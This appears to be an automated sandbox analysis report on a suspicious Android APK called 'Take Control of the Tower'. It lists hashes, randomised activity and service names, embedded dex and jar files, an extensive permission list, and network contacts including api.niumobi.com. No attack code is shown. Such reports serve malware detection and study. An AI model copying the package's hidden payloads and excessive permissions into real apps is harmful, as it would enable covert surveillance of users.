                  http://schemas.android.com/apk/res/android--android.support.v7.view.menu.ListMenuItemViewabc_list_menu_item_layout.xmlfalse
                    high
                    http://schemas.android.com/apk/res-auto((android.support.v7.widget.ActionMenuViewabc_action_menu_layout.xmlfalse
                      high
                      https://cmnsguider.yunos.com:443/genDeviceTokenandroidfalse
                        high
                        http://schemas.android.com/apk/res/android//android.support.v7.widget.FitWindowsFrameLayoutabc_screen_simple_overlay_action_mode.xmlfalse
                          high
                          http://schemas.android.com/apk/res-autoabc_tint_switch_thumb.xmlfalse
                            high
                            http://schemas.android.com/apk/res-auto00android.support.v7.widget.ActionBarOverlayLayoutabc_screen_toolbar.xmlfalse
                              high

                              Contacted IPs

                              • No. of IPs < 25%
                              • 25% < No. of IPs < 50%
                              • 50% < No. of IPs < 75%
                              • 75% < No. of IPs

                              Public

                              IPCountryFlagASNASN NameMalicious
                              35.190.63.127
                              United States
                              15169unknownfalse
                              74.125.133.188
                              United States
                              15169unknownfalse

                              Static File Info

                              General

                              File type:Zip archive data, at least v2.0 to extract
                              Entropy (8bit):7.799087282405178
                              TrID:
                              • Android Package (19004/1) 44.71%
                              • Java Archive (13504/1) 31.77%
                              • ZIP compressed archive (8000/1) 18.82%
                              • Java Script embedded in Visual Basic Script (2000/0) 4.70%
                              File name:wdeQEksXgm
                              File size:1836399
                              MD5:78d97c9b50029da32ada8e16e1979b28
                              SHA1:50c415d33ed1a4f793a47f1ff95064e9615cd7ea
                              SHA256:f4986be4fb3ce6a7afe76b454b3d884491a08eb39239e451dd99b89dc334b2b1
                              SHA512:a50ccb411168b41f992a58f04382daebb40635a7fa5b2217d8726ca083a24122f4078b55a006e2c36f8e4d2f9b7ef31649bc9f45b0a358fc4559e3201ffc6e9d
                              SSDEEP:49152:AVly7EwF4kMBDLNY1RSIEUyseWTK2XV+KP4/HiOelzhuI:ul8cDLS1EWXZ9YSlNT
                              File Content Preview:PK...........M................META-INF/MANIFEST.MF.....|Ys.H...D..................b...8.Ab.;.....=n7Z...\Z.++.ry..,.v..~U.m.e..........cU.v.{./......d..y....aF........!.....J.....l'.....+..[....%v_..._";.^..vO/..+.)...?.5..M..(.?.....T...P.J...p.S'.2..._Q

                              Static APK Info

                              General

                              Label:Take Control of the Tower
                              Minimum SDK required:14
                              Target SDK required:19
                              Version Code:2007075
                              Version Name:2007075
                              Package Name:air.nu.strafwerk.takecontrol
                              Is Activity:true
                              Is Receiver:true
                              Is Service:true
                              Requests System Level Permissions:false
                              Play Store Compatible:true

                              Activities

                              NameIs Entrypoint
                              air.nu.strafwerk.takecontrolcom.strafwerk.takecontrol.MainActivitytrue
                              air.nu.strafwerk.takecontrolcom.goal.IntelligentActivity
                              air.nu.strafwerk.takecontrolcom.dense.MingleActivity
                              air.nu.strafwerk.takecontrolcom.endless.AccessActivity
                              air.nu.strafwerk.takecontrolcom.sweeten.HugeActivity
                              air.nu.strafwerk.takecontrolcom.historian.DaughterActivity
                              air.nu.strafwerk.takecontrolcom.Indian.AlthoughActivity
                              air.nu.strafwerk.takecontrolcom.historian.InsectActivity
                              air.nu.strafwerk.takecontrolcom.marble.MightyActivity
                              air.nu.strafwerk.takecontrolcom.realistic.DelayActivity
                              air.nu.strafwerk.takecontrolcom.date.LiabilityActivity
                              air.nu.strafwerk.takecontrolcom.propel.MisfortuneActivity
                              air.nu.strafwerk.takecontrolcom.coal.ExceptActivity
                              air.nu.strafwerk.takecontrolcom.depth.FuelActivity
                              air.nu.strafwerk.takecontrolcom.spectacle.CastleActivity
                              air.nu.strafwerk.takecontrolcom.driver.EssenceActivity
                              air.nu.strafwerk.takecontrolcom.feed.JetActivity
                              air.nu.strafwerk.takecontrolcom.preach.SymposiumActivity
                              air.nu.strafwerk.takecontrolcom.dictionary.ElectricityActivity
                              air.nu.strafwerk.takecontrolcom.investigation.DepositActivity
                              air.nu.strafwerk.takecontrolcom.May.OliveActivity
                              air.nu.strafwerk.takecontrolcom.wasp.FellActivity
                              air.nu.strafwerk.takecontrolcom.depression.HastyActivity
                              air.nu.strafwerk.takecontrolcom.metallurgy.CommonsenseActivity
                              air.nu.strafwerk.takecontrolcom.initiative.MankindActivity
                              air.nu.strafwerk.takecontrolcom.respectable.CompassActivity
                              air.nu.strafwerk.takecontrolcom.landing.WorkpieceActivity
                              air.nu.strafwerk.takecontrolcom.landing.NotedActivity
                              air.nu.strafwerk.takecontrolcom.boot.InduceActivity
                              air.nu.strafwerk.takecontrolcom.pant.CircularActivity
                              air.nu.strafwerk.takecontrolcom.honest.TransitionActivity
                              air.nu.strafwerk.takecontrolcom.engineer.StoutActivity
                              air.nu.strafwerk.takecontrolcom.Indian.LipstickActivity
                              air.nu.strafwerk.takecontrolcom.cup.CherishActivity
                              air.nu.strafwerk.takecontrolcom.oxide.ComedyActivity
                              air.nu.strafwerk.takecontrolcom.expose.ScanActivity
                              air.nu.strafwerk.takecontrolcom.artistic.ForumActivity
                              air.nu.strafwerk.takecontrolcom.ponder.OverlookActivity
                              air.nu.strafwerk.takecontrolcom.fridge.PeckActivity
                              air.nu.strafwerk.takecontrolcom.wasp.InActivity
                              air.nu.strafwerk.takecontrolcom.December.JulyActivity
                              air.nu.strafwerk.takecontrolcom.importance.DedicateActivity
                              air.nu.strafwerk.takecontrolcom.displace.ExplosionActivity
                              air.nu.strafwerk.takecontrolcom.mystery.GarbageActivity
                              air.nu.strafwerk.takecontrolcom.furniture.MuddyActivity
                              air.nu.strafwerk.takecontrolcom.grasp.AdmireActivity
                              air.nu.strafwerk.takecontrolcom.art.BehindActivity
                              air.nu.strafwerk.takecontrolcom.honourable.OnwardActivity
                              air.nu.strafwerk.takecontrolcom.conjunction.CycleActivity
                              air.nu.strafwerk.takecontrolcom.menu.LatitudeActivity
                              air.nu.strafwerk.takecontrolcom.assess.PlagueActivity
                              air.nu.strafwerk.takecontrolcom.carbon.ChocolateActivity

                              Receivers

                              • com.paralyse.InevitablyReceiver
                              • Intent: com.forbid.author.action
                              • com.persuasion.MarchReceiver

                              Services

                              • com.analogy.MayorService
                              • com.conscience.ConfusionService
                              • Intent: android.content.SyncAdapter (Priority 0)
                              • com.despise.AppreciateService
                              • com.document.MixtureService
                              • com.engineering.AllowService
                              • com.frank.GulfService
                              • com.intellect.AccountService
                              • Intent: android.service.notification.NotificationListenerService (Priority 0)
                              • com.kilogram.AssuranceService
                              • com.logic.ConstructionService
                              • Intent: android.accounts.AccountAuthenticator (Priority 0)
                              • com.magnetism.RefrainService
                              • Intent: com.hmiR.WKE.action (Priority 0)
                              • com.maple.MastService
                              • com.perfection.TorpedoService
                              • com.rotate.ConsumptionService
                              • com.scan.GarmentService
                              • com.wield.ProlongService

                              Permission Requested

                              • android.Manifest.permission.ACCESS_COARSE_LOCATION
                              • android.Manifest.permission.ACCESS_FINE_LOCATION
                              • android.permission.ACCESS_BLUETOOTH_SHARE
                              • android.permission.ACCESS_NETWORK_STATE
                              • android.permission.ACCESS_WIFI_STATE
                              • android.permission.AUTHENTICATE_ACCOUNTS
                              • android.permission.BIND_JOB_SERVICE
                              • android.permission.BIND_NOTIFICATION_LISTENER_SERVICE
                              • android.permission.BLUETOOTH
                              • android.permission.BLUETOOTH_ADMIN
                              • android.permission.CAMERA
                              • android.permission.CHANGE_NETWORK_STATE
                              • android.permission.CHANGE_WIFI_STATE
                              • android.permission.DISABLE_KEYGUARD
                              • android.permission.EXPAND_STATUS_BAR
                              • android.permission.GET_ACCOUNTS
                              • android.permission.GET_PACKAGE_SIZE
                              • android.permission.GET_TASKS
                              • android.permission.INTERNET
                              • android.permission.MANAGE_ACCOUNTS
                              • android.permission.MODIFY_AUDIO_SETTINGS
                              • android.permission.MOUNT_UNMOUNT_FILESYSTEMS
                              • android.permission.NFC
                              • android.permission.PERSISTENT_ACTIVITY
                              • android.permission.READ_EXTERNAL_STORAGE
                              • android.permission.READ_LOGS
                              • android.permission.READ_PHONE_STATE
                              • android.permission.READ_SYNC_STATS
                              • android.permission.RECEIVE_BOOT_COMPLETED
                              • android.permission.REORDER_TASKS
                              • android.permission.RUN_INSTRUMENTATION
                              • android.permission.SET_WALLPAPER
                              • android.permission.SET_WALLPAPER_HINTS
                              • android.permission.SYSTEM_ALERT_WINDOW
                              • android.permission.USE_FINGERPRINT
                              • android.permission.VIBRATE
                              • android.permission.WAKE_LOCK
                              • android.permission.WRITE_CONTACTS
                              • android.permission.WRITE_EXTERNAL_STORAGE
                              • android.permission.WRITE_SETTINGS
                              • android.permission.WRITE_SYNC_SETTINGS
                              • com.android.alarm.permission.SET_ALARM
                              • com.android.launcher.permission.INSTALL_SHORTCUT
                              • com.android.vending.BILLING
                              • com.android.vending.INSTALL_REFERRER
                              • com.goibibo.permission.MAPS_RECEIVE
                              • com.google.android.c2dm.permission.RECEIVE
                              • com.google.android.providers.gsf.permission.READ_GSERVICES
                              • com.yonder.robi.permission.C2D_MESSAGE
                              • dianxin.permission.ACCESS_LAUNCHER_DATA

                              Certificate

                              Name:classes.dex
                              Issuer:C=cn
                              Subject:C=cn

                              Resources

                              NameTypeSize
                              abc_edit_text_material.xmlDBase 3 data file (1360 records)1360
                              abc_ic_menu_cut_mtrl_alpha.pngPNG image, 72 x 72, 8-bit colormap, non-interlaced934
                              abc_tint_switch_thumb.xmlDBase 3 data file (732 records)732
                              abc_scrubber_control_to_pressed_mtrl_005.pngPNG image, 54 x 54, 8-bit colormap, non-interlaced810
                              common_google_signin_btn_text_light_focused.xmlDBase 3 data file (1016 records)1016
                              notification_template_big_media.xmlDBase 3 data file (1780 records)1780
                              abc_slide_in_top.xmlDBase 3 data file (400 records)400
                              abc_menu_hardkey_panel_mtrl_mult.9.pngPNG image, 192 x 72, 8-bit/color RGBA, non-interlaced1753
                              abc_ic_star_black_36dp.pngPNG image, 108 x 108, 8-bit colormap, non-interlaced1704
                              abc_btn_colored_borderless_text_material.xmlDBase 3 data file (608 records)608
                              abc_action_mode_close_item_material.xmlDBase 3 data file (704 records)704
                              abc_tint_switch_thumb.xmlDBase 3 data file (628 records)628
                              abc_fade_in.xmlDBase 3 data file (396 records)396
                              abc_btn_switch_to_on_mtrl_00001.9.pngPNG image, 81 x 81, 8-bit/color RGBA, non-interlaced3727
                              abc_primary_text_disable_only_material_dark.xmlDBase 3 data file (468 records)468
                              abc_list_selector_holo_light.xmlDBase 3 data file (1208 records)1208
                              abc_color_highlight_material.xmlDBase 3 data file (548 records)548
                              abc_action_bar_up_container.xmlDBase 3 data file (448 records)448
                              abc_list_longpressed_holo.9.pngPNG image, 18 x 18, 8-bit/color RGBA, non-interlaced221
                              fbvfKLaG.xmlDBase 3 data file (508 records)508
                              common_google_signin_btn_text_dark.xmlDBase 3 data file (836 records)836
                              notification_template_lines.xmlDBase 3 data file (2848 records)2848
                              abc_popup_exit.xmlDBase 3 data file (512 records)512
                              notification_template_part_chronometer.xmlDBase 3 data file (660 records)660
                              abc_list_menu_item_icon.xmlDBase 3 data file (688 records)688
                              abc_scrubber_control_off_mtrl_alpha.pngPNG image, 36 x 96, 8-bit colormap, non-interlaced396
                              abc_slide_out_bottom.xmlDBase 3 data file (400 records)400
                              abc_activity_chooser_view_list_item.xmlDBase 3 data file (1272 records)1272
                              abc_list_menu_item_radio.xmlDBase 3 data file (536 records)536
                              abc_tint_edittext.xmlDBase 3 data file (776 records)776
                              abc_search_url_text.xmlDBase 3 data file (596 records)596
                              abc_ratingbar_small_material.xmlDBase 3 data file (812 records)812
                              classes.dexDalvik dex file version 035115472
                              prudentdata243767
                              abc_slide_in_bottom.xmlDBase 3 data file (400 records)400
                              abc_ratingbar_material.xmlDBase 3 data file (812 records)812
                              abc_ic_star_half_black_16dp.pngPNG image, 48 x 48, 8-bit colormap, non-interlaced584
                              abc_ic_menu_copy_mtrl_am_alpha.pngPNG image, 72 x 72, 8-bit colormap, non-interlaced347
                              abc_item_background_holo_light.xmlDBase 3 data file (1136 records)1136
                              abc_screen_simple_overlay_action_mode.xmlDBase 3 data file (828 records)828
                              abc_primary_text_material_light.xmlDBase 3 data file (468 records)468
                              bFdRdOndata579122
                              abc_textfield_search_default_mtrl_alpha.9.pngPNG image, 36 x 10, 8-bit/color RGBA, non-interlaced196
                              abc_ic_search_api_material.xmlDBase 3 data file (1172 records)1172
                              abc_ic_clear_material.xmlDBase 3 data file (924 records)924
                              abc_spinner_mtrl_am_alpha.9.pngPNG image, 54 x 72, 8-bit/color RGBA, non-interlaced595
                              select_dialog_multichoice_material.xmlDBase 3 data file (872 records)872
                              common_google_signin_btn_icon_light_disabled.9.pngPNG image, 138 x 138, 8-bit/color RGBA, non-interlaced1667
                              abc_alert_dialog_material.xmlDBase 3 data file (3328 records)3328
                              abc_seekbar_tick_mark_material.xmlDBase 3 data file (600 records)600
                              CERT.RSAdata685
                              abc_tint_seek_thumb.xmlDBase 3 data file (504 records)504
                              abc_list_divider_mtrl_alpha.9.pngPNG image, 2 x 2, 8-bit grayscale, non-interlaced171
                              abc_control_background_material.xmlDBase 3 data file (380 records)380
                              abc_ic_menu_copy_mtrl_am_alpha.pngPNG image, 72 x 72, 8-bit colormap, non-interlaced344
                              common_google_signin_btn_icon_light_focused.xmlDBase 3 data file (1016 records)1016
                              abc_expanded_menu_layout.xmlDBase 3 data file (396 records)396
                              abc_tint_default.xmlDBase 3 data file (1128 records)1128
                              abc_list_pressed_holo_light.9.pngPNG image, 18 x 18, 8-bit/color RGBA, non-interlaced221
                              abc_action_bar_view_list_nav_layout.xmlDBase 3 data file (396 records)396
                              abc_list_focused_holo.9.pngPNG image, 18 x 18, 8-bit/color RGBA, non-interlaced257
                              resources.arscdata367648
                              abc_item_background_holo_dark.xmlDBase 3 data file (1136 records)1136
                              common_google_signin_btn_icon_light.xmlDBase 3 data file (836 records)836
                              CERT.SFASCII text, with CRLF line terminators19648
                              common_google_signin_btn_text_dark_normal.9.pngPNG image, 333 x 144, 8-bit/color RGBA, non-interlaced3694
                              abc_secondary_text_material_dark.xmlDBase 3 data file (468 records)468
                              abc_textfield_default_mtrl_alpha.9.pngPNG image, 38 x 33, 8-bit/color RGBA, non-interlaced204
                              support_simple_spinner_dropdown_item.xmlDBase 3 data file (508 records)508
                              abc_ratingbar_material.xmlDBase 3 data file (812 records)812
                              abc_ic_star_black_48dp.pngPNG image, 144 x 144, 8-bit colormap, non-interlaced2088
                              abc_screen_toolbar.xmlDBase 3 data file (1632 records)1632
                              abc_tint_btn_checkable.xmlDBase 3 data file (732 records)732
                              common_google_signin_btn_text_light_disabled.9.pngPNG image, 327 x 138, 8-bit/color RGBA, non-interlaced1865
                              abc_action_bar_title_item.xmlDBase 3 data file (940 records)940
                              abc_grow_fade_in_from_bottom.xmlDBase 3 data file (860 records)860
                              common_google_signin_btn_text_dark_disabled.9.pngPNG image, 327 x 138, 8-bit/color RGBA, non-interlaced2432
                              abc_btn_switch_to_on_mtrl_00012.9.pngPNG image, 81 x 81, 8-bit/color RGBA, non-interlaced3960
                              abc_background_cache_hint_selector_material_dark.xmlDBase 3 data file (472 records)472
                              abc_ic_commit_search_api_mtrl_alpha.pngPNG image, 96 x 96, 8-bit colormap, non-interlaced305
                              abc_seekbar_track_material.xmlDBase 3 data file (1532 records)1532
                              abc_tint_switch_track.xmlDBase 3 data file (668 records)668
                              abc_screen_content_include.xmlDBase 3 data file (556 records)556
                              abc_tint_spinner.xmlDBase 3 data file (672 records)672
                              abc_tint_seek_thumb.xmlDBase 3 data file (608 records)608
                              abc_btn_colored_material.xmlDBase 3 data file (428 records)428
                              abc_popup_menu_item_layout.xmlDBase 3 data file (1884 records)1884
                              abc_shrink_fade_out_from_bottom.xmlDBase 3 data file (860 records)860
                              abc_ratingbar_small_material.xmlDBase 3 data file (812 records)812
                              abc_ic_menu_paste_mtrl_am_alpha.pngPNG image, 72 x 72, 8-bit colormap, non-interlaced510
                              common_google_signin_btn_text_light_pressed.9.pngPNG image, 333 x 144, 8-bit/color RGBA, non-interlaced3500
                              abc_ratingbar_indicator_material.xmlDBase 3 data file (812 records)812
                              abc_ab_share_pack_mtrl_alpha.9.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced305
                              abc_ic_voice_search_api_material.xmlDBase 3 data file (1208 records)1208
                              select_dialog_item_material.xmlDBase 3 data file (648 records)648
                              XkhODv.xmlDBase 3 data file (312 records)312
                              abc_tint_switch_track.xmlDBase 3 data file (772 records)772
                              switch_thumb_material_dark.xmlDBase 3 data file (468 records)468
                              abc_scrubber_control_to_pressed_mtrl_000.pngPNG image, 36 x 36, 8-bit colormap, non-interlaced588
                              common_google_signin_btn_text_dark.xmlDBase 3 data file (716 records)716
                              abc_tint_btn_checkable.xmlDBase 3 data file (628 records)628
                              abc_list_menu_item_checkbox.xmlDBase 3 data file (536 records)536
                              abc_dialog_title_material.xmlDBase 3 data file (1156 records)1156
                              abc_ic_ab_back_material.xmlDBase 3 data file (908 records)908
                              abc_ic_menu_overflow_material.xmlDBase 3 data file (1132 records)1132
                              abc_popup_menu_header_item_layout.xmlDBase 3 data file (856 records)856
                              abc_ic_star_black_16dp.pngPNG image, 48 x 48, 8-bit colormap, non-interlaced892
                              abc_primary_text_disable_only_material_light.xmlDBase 3 data file (468 records)468
                              abc_btn_check_material.xmlDBase 3 data file (560 records)560
                              common_google_signin_btn_icon_dark_normal.9.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced3431
                              abc_tab_indicator_mtrl_alpha.9.pngPNG image, 36 x 36, 8-bit/color RGBA, non-interlaced210
                              abc_ratingbar_indicator_material.xmlDBase 3 data file (812 records)812
                              abc_alert_dialog_button_bar_material.xmlDBase 3 data file (1648 records)1648
                              abc_list_selector_holo_dark.xmlDBase 3 data file (1208 records)1208
                              abc_cab_background_top_mtrl_alpha.9.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced246
                              notification_media_action.xmlDBase 3 data file (616 records)616
                              common_google_signin_btn_text_light_normal.9.pngPNG image, 333 x 144, 8-bit/color RGBA, non-interlaced3579
                              abc_textfield_search_activated_mtrl_alpha.9.pngPNG image, 36 x 10, 8-bit/color RGBA, non-interlaced193
                              abc_btn_colored_borderless_text_material.xmlDBase 3 data file (504 records)504
                              abc_list_menu_item_layout.xmlDBase 3 data file (1404 records)1404
                              cabindata15816
                              notification_template_media.xmlDBase 3 data file (1428 records)1428
                              abc_cab_background_top_material.xmlDBase 3 data file (412 records)412
                              abc_action_bar_item_background_material.xmlDBase 3 data file (336 records)336
                              abc_tint_default.xmlDBase 3 data file (1232 records)1232
                              abc_tint_spinner.xmlDBase 3 data file (776 records)776
                              abc_list_pressed_holo_dark.9.pngPNG image, 18 x 18, 8-bit/color RGBA, non-interlaced221
                              abc_primary_text_material_dark.xmlDBase 3 data file (468 records)468
                              abc_popup_background_mtrl_mult.9.pngPNG image, 192 x 96, 8-bit/color RGBA, non-interlaced2746
                              abc_list_selector_disabled_holo_light.9.pngPNG image, 42 x 126, 8-bit/color RGBA, non-interlaced305
                              abc_textfield_activated_mtrl_alpha.9.pngPNG image, 38 x 33, 8-bit/color RGBA, non-interlaced202
                              abc_ic_menu_cut_mtrl_alpha.pngPNG image, 72 x 72, 8-bit colormap, non-interlaced932
                              abc_btn_radio_material.xmlDBase 3 data file (560 records)560
                              common_google_signin_btn_icon_dark.xmlDBase 3 data file (836 records)836
                              abc_tint_edittext.xmlDBase 3 data file (672 records)672
                              common_google_signin_btn_icon_dark_disabled.9.pngPNG image, 138 x 138, 8-bit/color RGBA, non-interlaced2180
                              abc_btn_colored_material.xmlDBase 3 data file (1908 records)1908
                              common_google_signin_btn_text_light.xmlDBase 3 data file (836 records)836
                              abc_textfield_search_material.xmlDBase 3 data file (880 records)880
                              MANIFEST.MFASCII text, with CRLF line terminators19595
                              common_google_signin_btn_text_dark_pressed.9.pngPNG image, 333 x 144, 8-bit/color RGBA, non-interlaced3647
                              common_google_signin_btn_icon_dark_focused.xmlDBase 3 data file (1016 records)1016
                              abc_action_menu_item_layout.xmlDBase 3 data file (804 records)804
                              common_google_signin_btn_icon_light_normal.9.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced3249
                              abc_btn_radio_to_on_mtrl_015.pngPNG image, 96 x 96, 8-bit colormap, non-interlaced1466
                              common_google_signin_btn_icon_light_pressed.9.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced3214
                              abc_dialog_material_background.xmlDBase 3 data file (844 records)844
                              abc_scrubber_track_mtrl_alpha.9.pngPNG image, 30 x 36, 8-bit/color RGBA, non-interlaced212
                              abc_spinner_textfield_background_material.xmlDBase 3 data file (1328 records)1328
                              abc_ic_go_search_api_material.xmlDBase 3 data file (832 records)832
                              abc_btn_default_mtrl_shape.xmlDBase 3 data file (1092 records)1092
                              abc_slide_out_top.xmlDBase 3 data file (400 records)400
                              abc_cab_background_internal_bg.xmlDBase 3 data file (436 records)436
                              abc_edit_text_material.xmlDBase 3 data file (1040 records)1040
                              abc_ic_star_half_black_36dp.pngPNG image, 108 x 108, 8-bit colormap, non-interlaced1101
                              abc_spinner_mtrl_am_alpha.9.pngPNG image, 54 x 72, 8-bit/color RGBA, non-interlaced593
                              abc_list_selector_background_transition_holo_light.xmlDBase 3 data file (508 records)508
                              abc_btn_check_to_on_mtrl_015.pngPNG image, 96 x 96, 8-bit colormap, non-interlaced724
                              notification_template_big_media_narrow.xmlDBase 3 data file (1920 records)1920
                              common_google_signin_btn_text_light.xmlDBase 3 data file (716 records)716
                              abc_action_mode_bar.xmlDBase 3 data file (500 records)500
                              abc_screen_simple.xmlDBase 3 data file (872 records)872
                              abc_secondary_text_material_light.xmlDBase 3 data file (468 records)468
                              abc_text_cursor_material.xmlDBase 3 data file (600 records)600
                              abc_seekbar_thumb_material.xmlDBase 3 data file (1232 records)1232
                              abc_search_view.xmlDBase 3 data file (3568 records)3568
                              common_google_signin_btn_icon_dark_pressed.9.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced3384
                              notification_template_part_time.xmlDBase 3 data file (660 records)660
                              common_google_signin_btn_text_dark_focused.xmlDBase 3 data file (1016 records)1016
                              abc_fade_out.xmlDBase 3 data file (396 records)396
                              abc_search_dropdown_item_icons_2line.xmlDBase 3 data file (2204 records)2204
                              abc_btn_radio_to_on_mtrl_000.pngPNG image, 96 x 96, 8-bit colormap, non-interlaced1248
                              abc_select_dialog_material.xmlDBase 3 data file (768 records)768
                              common_full_open_on_phone.pngPNG image, 128 x 128, 8-bit colormap, non-interlaced516
                              abc_activity_chooser_view.xmlDBase 3 data file (1728 records)1728
                              notification_media_cancel_action.xmlDBase 3 data file (792 records)792
                              abc_switch_track_mtrl_alpha.9.pngPNG image, 71 x 48, 8-bit/color RGBA, non-interlaced1060
                              abc_ic_arrow_drop_right_black_24dp.xmlDBase 3 data file (1248 records)1248
                              abc_ic_menu_selectall_mtrl_alpha.pngPNG image, 72 x 72, 8-bit colormap, non-interlaced322
                              abc_ic_menu_share_mtrl_alpha.pngPNG image, 72 x 72, 8-bit colormap, non-interlaced1291
                              abc_action_menu_layout.xmlDBase 3 data file (584 records)584
                              abc_tab_indicator_material.xmlDBase 3 data file (564 records)564
                              abc_scrubber_primary_mtrl_alpha.9.pngPNG image, 30 x 36, 8-bit/color RGBA, non-interlaced218
                              abc_list_selector_disabled_holo_dark.9.pngPNG image, 42 x 126, 8-bit/color RGBA, non-interlaced307
                              abc_switch_thumb_material.xmlDBase 3 data file (560 records)560
                              switch_thumb_material_light.xmlDBase 3 data file (468 records)468
                              YSkhMdata57479
                              abc_btn_check_to_on_mtrl_000.pngPNG image, 96 x 96, 8-bit colormap, non-interlaced368
                              horsepowerdata209124
                              select_dialog_singlechoice_material.xmlDBase 3 data file (872 records)872
                              abc_btn_borderless_material.xmlDBase 3 data file (700 records)700
                              vnWDyNJFUOdata161088
                              abc_background_cache_hint_selector_material_light.xmlDBase 3 data file (472 records)472
                              abc_popup_enter.xmlDBase 3 data file (512 records)512
                              abc_ic_star_half_black_48dp.pngPNG image, 144 x 144, 8-bit colormap, non-interlaced1328
                              AndroidManifest.xmlDBase 3 data file (38652 records)38652
                              abc_list_selector_background_transition_holo_dark.xmlDBase 3 data file (508 records)508
                              07f457cd737b20bb7c8673ca1c8f0470.apk.drZip archive data579118
                              AndroidManifest.xmlDBase 3 data file (53064 records)53064
                              assetsdirectory0
                              classes.dexDalvik dex file version 0351254256
                              libdirectory0
                              META-INFdirectory0
                              resdirectory0
                              resources.arscdata4720
                              372935144.jar.drZip archive data, at least v2.0 to extract209117
                              classes.dexDalvik dex file version 0351098036
                              9377583.jar.drZip archive data, at least v2.0 to extract209117
                              classes.dexDalvik dex file version 0351098036

                              Network Behavior

                              Network Port Distribution

                              TCP Packets

                              TimestampSource PortDest PortSource IPDest IP
                              Sep 16, 2019 09:57:13.306078911 CEST462395228192.168.0.15074.125.133.188
                              Sep 16, 2019 09:57:13.336188078 CEST52284623974.125.133.188192.168.0.150
                              Sep 16, 2019 09:57:13.338978052 CEST52284623974.125.133.188192.168.0.150
                              Sep 16, 2019 09:57:13.340809107 CEST462395228192.168.0.15074.125.133.188
                              Sep 16, 2019 10:00:43.672358990 CEST33038443192.168.0.15035.190.63.127
                              Sep 16, 2019 10:00:43.682548046 CEST4433303835.190.63.127192.168.0.150
                              Sep 16, 2019 10:00:43.694477081 CEST33038443192.168.0.15035.190.63.127
                              Sep 16, 2019 10:00:43.694494963 CEST33038443192.168.0.15035.190.63.127
                              Sep 16, 2019 10:00:43.704879045 CEST4433303835.190.63.127192.168.0.150
                              Sep 16, 2019 10:00:43.705480099 CEST4433303835.190.63.127192.168.0.150
                              Sep 16, 2019 10:00:43.707108974 CEST33038443192.168.0.15035.190.63.127
                              Sep 16, 2019 10:00:43.708339930 CEST33038443192.168.0.15035.190.63.127
                              Sep 16, 2019 10:00:43.708597898 CEST44275443192.168.0.15035.190.63.127
                              Sep 16, 2019 10:00:43.718596935 CEST4433303835.190.63.127192.168.0.150
                              Sep 16, 2019 10:00:43.719290972 CEST4434427535.190.63.127192.168.0.150
                              Sep 16, 2019 10:00:43.720458984 CEST44275443192.168.0.15035.190.63.127
                              Sep 16, 2019 10:00:43.722189903 CEST44275443192.168.0.15035.190.63.127
                              Sep 16, 2019 10:00:43.731753111 CEST4434427535.190.63.127192.168.0.150
                              Sep 16, 2019 10:00:43.733231068 CEST4434427535.190.63.127192.168.0.150
                              Sep 16, 2019 10:00:43.733509064 CEST44275443192.168.0.15035.190.63.127
                              Sep 16, 2019 10:00:43.743899107 CEST4434427535.190.63.127192.168.0.150

                              UDP Packets

                              TimestampSource PortDest PortSource IPDest IP
                              Sep 16, 2019 09:57:36.448242903 CEST5406653192.168.0.1508.8.8.8
                              Sep 16, 2019 09:57:36.469270945 CEST53540668.8.8.8192.168.0.150
                              Sep 16, 2019 10:00:43.650055885 CEST3848953192.168.0.1508.8.8.8
                              Sep 16, 2019 10:00:43.663414001 CEST53384898.8.8.8192.168.0.150

                              ICMP Packets

                              TimestampSource IPDest IPChecksumCodeType
                              Sep 16, 2019 10:00:01.060977936 CEST192.168.0.2192.168.0.150449bEcho
                              Sep 16, 2019 10:00:01.061897993 CEST192.168.0.150192.168.0.24c9bEcho Reply
                              Sep 16, 2019 10:00:11.069063902 CEST192.168.0.2192.168.0.150b47aEcho
                              Sep 16, 2019 10:00:11.075994015 CEST192.168.0.150192.168.0.2bc7aEcho Reply
                              Sep 16, 2019 10:00:21.077045918 CEST192.168.0.2192.168.0.150675aEcho
                              Sep 16, 2019 10:00:21.080598116 CEST192.168.0.150192.168.0.26f5aEcho Reply
                              Sep 16, 2019 10:00:31.087831974 CEST192.168.0.2192.168.0.150312fEcho
                              Sep 16, 2019 10:00:31.090924978 CEST192.168.0.150192.168.0.2392fEcho Reply
                              Sep 16, 2019 10:00:41.093817949 CEST192.168.0.2192.168.0.150c916Echo
                              Sep 16, 2019 10:00:41.151048899 CEST192.168.0.150192.168.0.2d116Echo Reply

                              DNS Queries

                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                              Sep 16, 2019 10:00:43.650055885 CEST192.168.0.1508.8.8.80xa526Standard query (0)api.niumobi.comA (IP address)IN (0x0001)

                              DNS Answers

                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                              Sep 16, 2019 10:00:43.663414001 CEST8.8.8.8192.168.0.1500xa526No error (0)api.niumobi.com35.190.63.127A (IP address)IN (0x0001)

                              APK Behavior

                              Installation Messages
                              NameIs Error
                              • Renaming /data/app/vmdl755780052.tmp to /data/app/air.nu.strafwerk.takecontrol-1
                              • Running dexopt on: /data/app/air.nu.strafwerk.takecontrol-1/base.apk pkg=air.nu.strafwerk.takecontrol isa=arm vmSafeMode=false
                              • Unknown permission com.yonder.robi.permission.C2D_MESSAGE in package air.nu.strafwerk.takecontrol
                              • Unknown permission android.Manifest.permission.ACCESS_COARSE_LOCATION in package air.nu.strafwerk.takecontrol
                              • Unknown permission android.Manifest.permission.ACCESS_FINE_LOCATION in package air.nu.strafwerk.takecontrol
                              • Not granting permission android.permission.READ_LOGS to package air.nu.strafwerk.takecontrol (protectionLevel=50 flags=0x48be44)
                              • Unknown permission dianxin.permission.ACCESS_LAUNCHER_DATA in package air.nu.strafwerk.takecontrol
                              • Not granting permission android.permission.ACCESS_BLUETOOTH_SHARE to package air.nu.strafwerk.takecontrol (protectionLevel=2 flags=0x48be44)
                              • Not granting permission android.permission.MOUNT_UNMOUNT_FILESYSTEMS to package air.nu.strafwerk.takecontrol (protectionLevel=18 flags=0x48be44)
                              • Unknown permission com.goibibo.permission.MAPS_RECEIVE in package air.nu.strafwerk.takecontrol
                              • Unknown permission android.permission.RUN_INSTRUMENTATION in package air.nu.strafwerk.takecontrol
